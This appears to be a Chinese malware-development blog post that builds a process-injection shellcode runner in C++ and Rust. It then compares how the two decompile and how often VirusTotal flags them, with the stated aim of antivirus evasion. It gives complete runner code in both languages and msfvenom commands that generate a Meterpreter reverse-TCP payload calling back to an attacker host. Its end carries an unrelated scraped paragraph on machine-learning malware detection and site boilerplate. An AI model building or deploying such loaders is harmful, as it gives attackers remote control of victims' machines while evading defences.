Malware Dev 00 - Rust vs C++ 初探

写在最前

如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:

https://discord.gg/9XvvuFq9Wb

我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~


背景

最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的,想着动手实验一下,看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。

本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件,看一下反编译的结果。最后,我们看一下 VirusTotal 对于两个文件的检测,对比一下目前为止哪个语言的免杀效果相对优秀(由于是 shellcode runner 实属裸奔,没用任何绕过技巧,被查杀是肯定的)。

为什么选择 Rust

这里是 Rust 语言的一些特性。

  1. Rust 速度快,跟 C/C++ 不相上下;
  2. Rust 拥有优秀的依赖解决方案,cargo;
  3. Rust 基于 LLVM,内部的复杂性有利于其躲避防御机制的检测;
  4. Rust 拥有活跃的社区支持,因此,各种问题基本都能得到解决;
  5. Rust 跨平台;

正是因为这些特性,Rust 被武器化,在网络安全进攻端,展现出了一定的实力。

测试环境

Windows

shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。

在这里插入图片描述

C++ 编译使用 Visual Studio 2022。

Rust 使用官网最新版本 cargo

Linux

另一台 Kali Linux 机器,作 shellcode 生成和 shell 接收。

Rust vs C++

进入正题,分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。

C++ Process Injection Shellcode Runner

创建一个 C++ 工程。

在这里插入图片描述

生成一份 shellcode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c

复制 shellcode 到代码。

代码常规套路,四步走,分配内存,拷贝 shellcode,设置内存可执行,创建线程并执行。

#include <windows.h>

int main(void) {

	LPVOID lpAddress;
	HANDLE tHandle;
	DWORD oldProtect = 0;

	unsigned char payload[] = {  shellcode_here	};

	SIZE_T payload_size = sizeof(payload);

	lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(lpAddress, payload, payload_size);

	if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect))
	{
		tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);
		WaitForSingleObject(tHandle, (DWORD)-1);
	}

	return 0;
}

注意这里要使用 Release 编译。

编译之后执行。

在这里插入图片描述

Kali 拿到 shell。

在这里插入图片描述

接下来编译一个 Rust 版本的,代码逻辑一致。

Rust Process Injection Shellcode Runner

Rust 需安装。官网下载安装包 安装即可。

在这里插入图片描述

第一次接触 Rust,给出一下编译步骤。

首先在当前文件夹下创建一个 Rust 工程。

cargo new shell_rust

在这里插入图片描述

接着生成一段 shellcode。用 csharp 格式的就行。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp

然后进入工程中的 src 文件夹,编辑 main.rs 文件,使用如下代码,使用生成的 shellcode。

use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;

type DWORD = u32;

//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRust

fn main(){
    create_thread()
}

fn create_thread() {
    let payload: [u8;shellcode_length_here] = [ shellcode_here ];

    // allocate base addr as RW
   unsafe{
        let base_addr = kernel32::VirtualAlloc(
            ptr::null_mut(),
            payload.len().try_into().unwrap(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
       
        if base_addr.is_null() { 
            println!("[-] Couldn't allocate memory to current proc.")
        }
    

        std::ptr::copy(payload.as_ptr() as  _, base_addr, payload.len());

        let mut old_protect: DWORD = PAGE_READWRITE;

        let mem_protect = kernel32::VirtualProtect (
            base_addr,
            payload.len() as u64,
            PAGE_EXECUTE_READ,
            &mut old_protect
        );

        if mem_protect == 0 {
            let error = errhandlingapi::GetLastError();
            println!("[-] Error: {}", error.to_string());
            process::exit(0x0100);
        }


        let mut tid = 0;
        let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };

        let h_thread = processthreadsapi::CreateThread(
            ptr::null_mut(),
            0,
            Some(ep),
            ptr::null_mut(),
            0,
            &mut tid
        );

        if h_thread.is_null() {
            let error = errhandlingapi::GetLastError();
            println!("{}", error.to_string())
        
        }
		
        let status = WaitForSingleObject(h_thread, winbase::INFINITE);
        if status != 0 {
            let error = errhandlingapi::GetLastError();
            println!("{}", error.to_string())
        }
    }
}

添加依赖。

cargo add winapi kernel32-sys

查看 Cargo.toml 文件如下。

在这里插入图片描述

不过此时编译还是会报错。

在这里插入图片描述

还得增加 winapi 下的 features 才能正常编译。

在这里插入图片描述

再次编译 Release 版本。

cargo build --release

编译成功。
在这里插入图片描述

shell_rust/target/release 文件夹下找到 exe 文件。

在这里插入图片描述

运行。

在这里插入图片描述

Kali 拿到 shell。

在这里插入图片描述

至此,两个 shellcode runner 编译完成。

反编译比较

将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。

C++ Decompile

C++ 经过反编译得到了至多 1453 行代码(Ghidra)。

在这里插入图片描述

并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。

VirtualAlloc

在这里插入图片描述

VirtualProtect

在这里插入图片描述

CreateThread

在这里插入图片描述

WaitForSingleObject

在这里插入图片描述

接下来看下 Rust 的表现。

Rust Decompile

但从编译时间的角度来看,有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。

在这里插入图片描述

再查找一下敏感 API,还是可以被找到。这里与原文有些不符。原文指出,只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。

在这里插入图片描述

VT 查杀结果

Rust 结果 18/62。

在这里插入图片描述

C++ 结果 28/62。

在这里插入图片描述

总结

目前为止,裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。

参考链接

  • https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
  • https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
  • https://github.com/trickster0/OffensiveRust
  • https://doc.rust-lang.org/cargo/guide/dependencies.html
  • https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
  • https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
  • https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
随着网络威胁日益增长和恶意软件的潜在危险日益加剧,对于恶意软件检测的需求也越来越高。传统恶意软件检测方法存在很多局限性,如签名不透明、固定规则无法识别新型恶意代码、容易受到欺骗等问题,机器学习成为了解决恶意软件检测难题的有效手段。 机器学习模型可以根据大量样本数据,发现数据的内在规律来进行学习,并模拟数据间的关系。通过学习已知的恶意样本和正常样本,机器学习算法可以自动提取特征并判断未知样本是否是恶意软件。在恶意软件检测中,机器学习可以解决传统的规则、特征、模式等方式过时、不能及时更新的问题。 恶意软件检测使用机器学习方式,需要准备足够的数据训练集,并基于数据集训练机器学习模型。在训练过程中,可以选择不同的机器学习算法和特征工程方式,进行调优优化,使机器学习模型达到更加准确和可靠的检测效果。 常见的恶意软件检测模型包括支持向量机(SVM)、朴素贝叶斯分类(NBC)、神经网络(NN)和深度学习模型等。这些模型在特征提取和分类预测等方面有着不同的优缺点,因此在具体应用场景中需要根据实际情况进行选择和组合。 总体来看,恶意软件检测使用机器学习模型,可以实现自动化恶意软件检测,准确率高、速度快、易于扩展。但是,在实际应用中也有很多需要注意的问题,如数据质量问题、机器学习模型解释性问题、对抗样本问题等。因此,在恶意软件检测中使用机器学习模型仍需持续深入研究和探索,进一步提高检测的准确性和可靠性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值